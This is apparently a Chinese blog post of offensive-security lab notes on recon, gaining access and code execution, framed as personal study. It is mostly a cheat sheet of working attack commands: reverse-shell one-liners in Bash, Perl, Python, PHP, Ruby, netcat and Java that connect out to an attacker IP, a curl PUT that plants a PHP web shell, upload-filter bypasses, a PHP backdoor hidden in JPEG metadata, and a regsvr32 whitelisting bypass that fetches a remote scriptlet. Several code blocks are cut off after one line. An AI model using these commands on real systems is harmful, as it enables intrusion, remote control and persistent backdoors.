简介
探讨了一些常见的攻击性安全技术,包括获取代码执行、代码注入、防御规避、横向移动、持久性等等
我们的目标
这个项目的目标很简单——阅读其他研究人员的工作,在实验室环境中执行一些常见/不常见的攻击技术,做我自己的研究和:
了解各种网络攻击和技术是如何执行的,以及它们是如何工作的
了解如何编写恶意软件
编写代码以进一步了解攻击者和恶意软件作者使用的工具和技术
了解更多有关c++、Windows内部和Windows api的信息
查看技术和工具在端点上留下了哪些工件
尝试各种行业工具进行渗透测试、编码、调试、逆向工程、恶意软件分析,并更加熟练地使用它们
做笔记以备将来参考
侦察/枚举
从Nmap扫描中提取活ip
1 | nmap 10.1.1.1 --open -oG scan-results; cat scan-results | grep "/open" | cut -d " " -f 2 > exposed-services-ips |
简单端口Knocking
1 | for x in 7000 8000 9000; do nmap -Pn –host_timeout 201 –max-retries 0 -p $x 1.1.1.1; done |
DNS查找,区域传输和暴力破解
1 | whois domain.com |
Banner Grabbing
1 | nc -v $TARGET 80 |
NFS导出共享
1 | List NFS exported shares: |
Kerberos 枚举
1 | #users |
HTTP暴力破解和漏洞扫描
1 | target=10.0.0.1; gobuster -u http://$target -r -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt -t 150 -l | tee $target-gobuster |
RPC / NetBios / SMB
1 | rpcinfo -p $TARGET |
SNMP
1 | # Windows User Accounts |
SMTP
1 | smtp-user-enum -U /usr/share/wordlists/names.txt -t $TARGET -m 150 |
Active Directory
1 | # current domain info |
监听端口(Powershell)
1 | # Start listener on port 443 |
获得访问权限
Reverse Shell One-Liners
Bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Perl
perl -e ‘use Socket;$i=”10.0.0.1”;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
URL-Encoded Perl: Linux
echo%20%27use%20Socket%3B%24i%3D%2210.11.0.245%22%3B%24p%3D443%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2fbin%2fsh%20-i%22%29%3B%7D%3B%27%20%3E%20%2ftmp%2fpew%20%26%26%20%2fusr%2fbin%2fperl%20%2ftmp%2fpew
Python
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.0.0.1”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
PHP
php -r ‘$sock=fsockopen(“10.0.0.1”,1234);exec(“/bin/sh -i <&3 >&3 2>&3”);’
Ruby
ruby -rsocket -e’f=TCPSocket.open(“10.0.0.1”,1234).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’
Netcat without -e #1
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f
Netcat without -e #2
nc localhost 443 | /bin/sh | nc localhost 444
telnet localhost 443 | /bin/sh | telnet localhost 444
Java
r = Runtime.getRuntime(); p = r.exec([“/bin/bash”,”-c”,”exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do $line 2>&5 >&5; done”] as String[]); p.waitFor();
XTerm
xterm -display 10.0.0.1:1
JDWP RCE
print new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec(“whoami”).getInputStream())).readLine())
Working with Restricted Shells
# rare cases
ssh bill@localhost ls -l /tmp
nice /bin/bash
Interactive TTY Shells
/usr/bin/expect sh
python -c ‘import pty; pty.spawn(“/bin/sh”)’
# execute one command with su as another user if you do not have access to the shell. Credit to g0blin.co.uk
python -c ‘import pty,subprocess,os,time;(master,slave)=pty.openpty();p=subprocess.Popen([“/bin/su”,”
通过WWW上传表格上传/张贴文件
1 | # POST file |
通过PUT谓词将文件放到web主机上
1 | curl -X PUT -d '<?php system($_GET["c"]);?>' http://192.168.2.99/shell.php |
生成有效载荷模式和计算偏移量
1 | /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000 |
绕过文件上传限制
file.php -> file.jpg
file.php -> file.php.jpg
file.asp -> file.asp;.jpg
file.gif (contains php code, but starts with string GIF/GIF98)
00%
file.jpg with php backdoor in exif (see below)
.jpg -> proxy intercept -> rename to .php
在JPEG中注入PHP
1 | exiv2 -c'A "<?php system($_REQUEST['cmd']);?>"!' backdoor.jpeg |
Uploading .htaccess to interpret .blah as .php
1 | AddType application/x-httpd-php .blah |
破解密码
代码执行
Regsvr32 代码执行-绕过应用程序白名单
Execution
1 | <?XML version="1.0"?> |
我们需要托管后台。SCT在web服务器上,所以我们可以像这样调用它:
1 | regsvr32.exe /s /i:http://10.0.0.5/back.sct scrobj.dll |
观察
注意,regsvr32进程几乎立即退出。这意味着仅仅通过观察受害者机器上的过程列表,邪恶的过程可能不会立即出现……直到你意识到它是如何被调用的。Sysmon commandline日志记录可以帮助您检测这个活动:
此外,sysmon将显示regsvr32建立一个网络连接:
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 jaytp@qq.com